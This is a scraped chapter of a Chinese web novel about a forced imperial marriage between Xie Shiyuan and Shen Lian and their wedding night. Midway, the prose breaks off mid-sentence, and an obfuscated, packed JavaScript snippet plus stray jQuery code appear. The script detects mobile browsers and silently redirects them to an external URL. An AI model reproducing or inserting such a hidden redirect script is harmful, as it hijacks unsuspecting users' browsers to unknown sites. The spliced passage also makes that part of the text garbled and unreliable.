文趣网 > 玄幻小说 > 还能让配角摆烂吗 > 16. 新婚大“吉”
    宋逾静语重心长,“既是太后的意思,咱们也只能听从,不过沈怜那厮可不是一个好相与的。”顿了顿,又说,“受罪是不可难免的了。”

    谢时愿看着宋逾静的叹气倒是很震惊,不是说宋逾静这个继母对谢时愿也不管不问吗,为什么现在俨然一副慈母形象?

    总觉得这个继母肯定另有所图。

    “母亲不必担心,兵来将挡水来土掩,我也不会说错话给咱们尚书府惹麻烦的。”

    宋逾静点了点头。

    “行了,我也不过多在这了,这几天你就呆在院子里,别出门。”宋逾静站起来转身离开。

    谢时愿看着刚刚宋逾静做过的凳子,回想着刚刚她说的话,愣了神。

    小竹跑进来打断谢时愿的放空状态。

    “你刚刚去哪了,怎么没瞧见?”谢时愿问。

    “老爷把你叫走之后,夫人和二小姐找我问话。”

    “你说了什么?”谢时愿这边刚和宋逾静说完,可不想这时候露了馅。

    “我说我不知道,他们问了什么我都说不知道。”

    谢时愿直夸小竹好样的。

    小竹衷心这方面确实是真的,可她是真的不知道,她看见的就是沈怜莫名其妙的找了小姐好几次,然后...就被赐婚了。

    回去之后的宋逾静被谢以清一直缠着。

    “母亲,可打听出来什么?”

    宋逾静到没搭理,一味的喝着茶。

    “母亲!你倒是别卖关子了,赶紧说说啊。”

    “这都是沈怜一个人找太后请的旨,实在不知道这沈怜作何企图,非盯着谢时愿一个人不放,难不成是想拉拢你父亲?”

    “前些日子只是认识,便已经闹成那样了,他怎么还会想着拉拢。”谢以清想到这还有些后怕。

    “即便你父亲再不同意,可婚事已经确定,那就是把两家牢牢绑在一起,沈怜那样的人怎么可能会在乎别人的处境。”

    宋逾静:“也许她命该如此,你管好自己的事就行了。”

    谢时愿最不知道的是怎么向顾晏清开口,毕竟顾晏清这么讨厌沈怜,可别拉低了在她心中印象。

    思来想去还是得主动说,总不可能作为朋友这种事情都不说吧

    谢时愿返回顾晏清的老宅,就等着顾晏清再来。

    “我来了,今天我又带了不少吃的。”大早上的,顾晏清也没走正门,从墙上翻下来。

    谢时愿接过袋子。

    “阿晏,你不在的时候发生了些事情。”谢时愿挠了挠后脑勺。

    “不会是你父亲找上门了吧,那也不对啊,你还在这。”

    “是...太后,来赐婚了。”

    “啊?和谁?”

    “沈怜。”

    “啊?”

    谢时愿又说了一遍之前向宋逾静说的理由,通通归于沈怜的事。

    反正名声都臭了这么久了,多说一两句也没啥。

    “你等会的,这沈怜未免也太不要脸了,他说求娶就娶啊,当太后走狗当顺了,看自己没人要就硬塞给别人啊。”顾晏清一脑子怒火。

    旁边的谢时愿也是不敢怒不敢言,只能小声拽着顾晏清衣袖说,“别骂了别骂了,也没有这么糟糕,起码不用躲着我爹了。”

    顾晏清越骂,她越觉得对不起沈怜,把他描的更黑了,不过这也是没有办法,牺牲沈怜总比让牺牲谢时愿要划算得多。

    “那沈怜比你爹那也好不到哪里去,先不说他这个人对你怎么样,光是他的身份就没有人和他同行的。”

    谢时愿垂下眼睛,装作一副可怜样子,“我知道,可太后的意思也不能违背,今后别忘了时常来与我相聚就行。”

    “那当然,他要是欺负你,你就告诉我,我替你报仇。”

    “莫非你想打他?”

    顾晏清想了想,“不能打,使点绊子总是可以的,走路上被泼水,马车的轮子半路坏掉了,吃的菜拉肚子......”

    谢时愿被逗得哈哈大笑,“哈哈哈哈,你就不怕他追查到你,告诉太后然后给你个下马威。”

    “告诉太后?这种糗事要是我,我都不好意思往外说。”顾晏清下颌微抬,嘴角轻扬。

    “有你在我身后做护盾,我肯定不会受委屈的。”谢时愿拍拍顾晏清的肩膀。

    夕阳沉入山底,天边的霞光慢慢褪色,最后都被夜幕吞尽。

    屋内渐渐暗下来,沈怜用火折子点了根蜡烛在漆黑屋内。

    蜡烛的光不大,照在沈怜的脸上微微跳动,明暗之间眉眼尚未褪尽青涩,鼻梁高挺。

    他垂着眼睛,睫毛盖过眼中神色,手指无意识地在桌上画着圈,看向不断跳跃着的火烛在桌上留下的倒影。

    烛油“嘀嗒”一声落在烛台上,火苗跳了跳,沈怜的脸上在光影中一明一暗,不知道哪面是真的。

    长风推开门,“公子,你在屋里怎么又只点一根蜡烛啊。”

    一边点了剩余几根蜡烛一边说:“这屋子里这么黑,又不睡觉,多点几根也好看东西啊。”

    沈怜慢慢道,“习惯了。”

    “对了,你去查查府里的所有人底细,如果有什么不对劲的,就把他们安排在离我这稍远点的地方,记住要用些正当理由,免得引起太后怀疑。”

    “是,不过公子还有一事,太子派人和宰相的门客在一处茶馆见了面。”

    沈怜一怔之后,唇边漾开,“咱们太子还是这么坐不住,这不是给其他皇子可乘之机吗?”

    正月初五,沈怜迎娶谢时愿的日子到了。

    红绸从梁上挂起,“囍”字贴在大门和正墙之上。

    沈怜来时,也没人堵门,谢家这边的宾客人是不少,他们之间互相寒暄敬酒,只感到声音大,可就是感觉少了些热闹。

    来接谢时愿的轿子停在门口,轿帘紧垂,红缎子在日头下泛着冷冷地光,鼓乐班子倒是来了,吹着欢喜的调子。

    谢时愿上了花轿,从谢家带走的是陪嫁丫鬟小竹和宋逾静给的一些店铺钱财。

    宋逾静的这笔钱可是个意外之喜,虽然不多,但是还是能富裕一段时间的,况且店铺如果经营得好,日后也不愁吃穿的,

    谢时愿在轿子里想着想着就笑出了声。

    “小姐,怎么了?”小竹离轿子比较近,听出了声音。

    “没事没事,不用管我。”谢时愿掀开侧方帘子,微微探出头。

    小竹看见谢时愿将头探出来,立

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526929|202390||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    刻捂好帘子,“小姐,别伸出头来,再被人看见了。”

    到了沈怜那,谢时愿更没眼看了。

    这么大的府里,来的宾客寥寥无几,走了一路也只能看见几个下人在忙里忙外。

    就算是盖头遮住了府里全貌,但是听声音就知道是有多冷清了。

    新人拜堂,只有几人站在两旁看着,连掌声都稀落得很,拍两下就停了。

    “一拜天地。”

    朝向门外鞠躬,答谢自然与神明。

    “二拜高堂。”

    朝向两把覆盖红布的空椅子。

    “夫妻对拜。”

    双方面对面,礼成。

    拜完堂,新人被送入洞房。本该热热闹闹的喜宴,只开了五桌,还没有坐满。

    菜上的也不多,几人动了几筷,多是互相寒暄想怎么借沈怜这把“梯子”勾上太后。

    敬酒环节也没维持太长时间,等刚天黑就差不多散场了。

    沈怜等人散之后进入洞房,在门口来回踱步。

    一鼓作气打开了门,谢时愿来回打量着站在门口的沈怜,大红袍的婚服,喝了点酒脸色也有些红,“你来了。”

    沈怜缓缓关上了门,他以为进门之后是谢时愿盖着红盖头,坐在床上尴尬的柔搓手。

    结果倒好,红盖头也不知道去哪了,倒是不知道在哪弄来的一桌子菜,旁若无人地吃着。

    “你这是在哪弄的啊?”沈怜坐到谢时愿旁边。

    “你们家来的人这么少,后厨还做了这么多东西,我让小竹装作上菜的直接端来了,你也尝尝。”谢时愿把菜都像沈怜那靠了靠。

    “你倒是一直在吃,亏我还在门...”沈怜意识到说多了话,马上闭了嘴看向饭菜。

    “亏你还在门口来回走。”

    沈怜瞪大眼睛看向谢时愿。

    谢时愿示意沈怜看门口,“我能看到的。”

    沈怜现在真想立马找个洞钻进去。

    谢时愿看出来,用手慢慢把香味扇去沈怜那,“别纠结这个了,你也喝了一天的酒,没吃什么饭,进来的时候就已经闻到了吧。”

    “我也给你准备了双筷子。”谢时愿递给沈怜。

    沈怜结果筷子,一边夹菜一边说,“你现在怎么之前不太一样了?”

    “怎么不一样啊。”谢时愿吃着也没太在意。

    沈怜慢慢道,“说不上来,感觉你没这么远离我了。”

    谢时愿听到之后差点一口气呛过去。

    “咳咳。”

    “你没事吧。”沈怜顺着谢时愿后背不断拍打。

    谢时愿哪知道沈怜会问这个问题啊,再说了,这很明显吗?

    之前觉得还有转圜的余地,现在都已经结婚,走到绑在一起的地步了,还不如直接面对呢。

    “没事没事,这不是咱们都绑一块了吗?想逃也没办法了,再说了你之前在军营第一次见我,和去我家的时候不是也态度不一样吗?”谢时愿说着还时不时偷瞄沈怜。

    “那你知道我,为什么不一样吗?”沈怜问。

    “当然是靠我的人格魅力了。”谢时愿叉着腰,尾巴要翘到天上去了。

    其实心里觉得这就是剧本的力量。